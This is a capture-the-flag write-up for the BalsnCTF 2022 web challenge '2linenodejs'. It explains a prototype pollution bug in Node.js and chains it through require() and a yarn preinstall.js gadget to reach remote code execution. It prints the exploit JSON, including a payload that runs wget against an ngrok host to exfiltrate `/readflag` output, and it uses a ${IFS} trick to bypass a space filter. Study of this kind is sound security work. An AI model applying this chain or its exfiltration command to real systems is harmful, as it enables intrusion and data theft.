👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Description
  • Solution
  • Prototype Pollution
  • require() Gadget
  • preinstall.js Gadget

Was this helpful?

  1. 2022
  2. BalsnCTF 2022

2linenodejs

Description

Web | 13 solves

Sorry for my bad coding style :(

Author: ginoah

Solution

Prototype Pollution

Taking a look at the source, we see quite clearly that there is a prototype pollution here.

#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch (e) {
    require('./usage')
  }finally{
    process.exit();
  }
});

JSON.parse will allow the __proto__ key, storing it as ['__proto__'] instead (which surprisingly works as a key when used here):

module.exports=(O,o) => (
    Object.entries(O).forEach(
        ([K,V])=>Object.entries(V).forEach(
            ([k,v])=>(o[K]=o[K]||{},o[K][k]=v)
        )
    ), o
);

Great! We have a prototype pollution - how do we leverage it to an RCE?

require() Gadget

After performing the pollution, we don't have much of a choice where we want to go. Either nothing happens and process.exit() is called, or we cause an exception and require('./usage') is called. Causing an exception is pretty simple and I actually stumbled upon it early on when testing simple payloads.

If one of the key-value pairs is a mapping to null, then Object.entries(V) will yield a TypeError since null cannot be converted to an Object.

        ([K,V])=>Object.entries(V).forEach(
                        ^

TypeError: Cannot convert undefined or null to object

If readPackageScope returns false, then the destructuring assignment should leave pkg and pkgPath as undefined, since the right-hand side is {}. But if we pollute __proto__.data and __proto__.path, then we can control pkg and pkgPath.

function trySelf(parentPath, request) {
  if (!parentPath) return false;

  const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
  if (!pkg || pkg.exports === undefined) return false;
  if (typeof pkg.name !== 'string') return false;

But what is pkg and pkgPath? We could look at readPackageScope and find out that it calls

function readPackage(requestPath) {
  const jsonPath = path.resolve(requestPath, 'package.json');

  const existing = packageJsonCache.get(jsonPath);
  if (existing !== undefined) return existing;
  
  ...

With this knowledge, we can confirm that the following exploit allows us to load any JavaScript file.

{
    "__proto__": {
        "data": {
            "name": "./usage",
            "exports": {
                ".": "./some-file.js"
            }
        },
        "path": "/some/path/to/file",
    },
    "x": null
}

preinstall.js Gadget

Immediately we see in this script that we have child_process.execFileSync being called, which looks promising.

if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        console.log(process.execPath, process.env.npm_execpath)
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['inherit', 'inherit', 'inherit'],
        }).replace(/\n/g, '');
        process.exit()

First off, to reach this code path we could need to pollute npm_config_global to a truthy value.

One issue is that because the regex matches up to the first space character, our JSON cannot have any spaces.

const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],

To get around this, we use ${IFS}. For instance, we could pollute npm_execpath to --eval=require('child_process').execSync('sleep${IFS}5').

The final payload was using wget and command substitution to exfiltrate the /readflag output.

{
    "__proto__": {
        "data": {
            "name": "./usage",
            "exports": {
                ".": "./preinstall.js"
            }
        },
        "path": "./",
        "npm_config_global": 1,
        "npm_execpath": "--eval=require('child_process').execSync('wget${IFS}https://012c-49-245-33-142.ngrok.io/`/readflag`')"
    },
    "x": null
}

This gives us the flag on our listening HTTP server.

GET /BALSN%7BPr0toTyP3_PoL1u7i0n_1s_so_Cooooooool%21%21%21%7D HTTP/1.1
Host: 012c-49-245-33-142.ngrok.io
User-Agent: Wget
X-Forwarded-For: 44.204.208.69
X-Forwarded-Proto: https
Accept-Encoding: gzip
PreviousBalsnCTF 2022NextHealth Check

Last updated 2 years ago

Was this helpful?

If we look into the internal/modules/cjs/loader.js, we see that in the trySelf function, there is a .

to populate the result, and readPackage just reads the package.json file of a Node.js module.

So pkg appears to just be an object containing the and pkgPath is the path to this package. Importantly, we see pkg.exports being used a lot in the subsequent code path, and this makes sence given the following explanation of exports in package.json:

The "exports" field allows defining the of a package when imported by name loaded either via a node_modules lookup or a to its own name.

Initially doing a simple search for all JavaScript files in the container (find / -name "*.js" 2>/dev/null), we can find /opt/yarn-v1.22.19/preinstall.js. Doing a bit of digging, we can find out that this script is added from .

process.execPath is always /usr/bin/node, and we can't control it. But we could control process.env.npm_execpath since it is not set by default. Looking at the , the option looks promising! This would basically allow us to run inline JavaScript.

possible gadget
readPackage
package.json fields
entry points
self-reference
here
CLI documentation
-e or --eval